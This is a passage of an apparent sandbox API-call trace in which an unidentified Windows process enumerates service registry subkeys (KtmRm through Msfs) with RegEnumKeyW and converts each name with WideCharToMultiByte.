cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0223.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0223.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0223.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0223.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0223.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0223.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0223.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0223.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0223.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0223.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0223.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0223.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0223.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0223.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0223.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0223.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0223.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0223.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1a90, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0223.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0223.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0223.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0223.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0223.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0223.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0223.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f16e8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0223.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0223.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0223.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0223.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0223.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0223.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0223.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0223.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0223.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0223.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0223.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0223.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0223.332] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0223.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0223.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0223.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f16e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0223.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 